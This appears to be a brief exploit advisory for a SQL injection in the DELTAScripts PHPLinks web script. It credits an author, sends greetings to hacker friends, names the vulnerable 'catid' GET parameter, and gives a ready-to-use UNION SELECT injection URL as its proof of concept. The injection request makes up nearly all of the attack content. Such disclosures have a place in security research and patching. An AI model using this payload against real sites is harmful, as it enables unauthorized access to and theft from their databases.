DELTAScripts PHPLinks – ‘catid’ SQL Injection
/* Name : DELTAScripts PHPLinks Vuln : SQL Injection Author : Hamza 'MizoZ' N. Email : mizozx[at]gmail[dot]com WebSite : www.greymen.org<http://www.greymen.org/> Greetz : Zuka, all friends & arab hackers */ Vulnerability is in the $_GET['catid'] http://server/[PATH]/index.php?catid=8+union+all+select+1,2,3,4,5,6-- |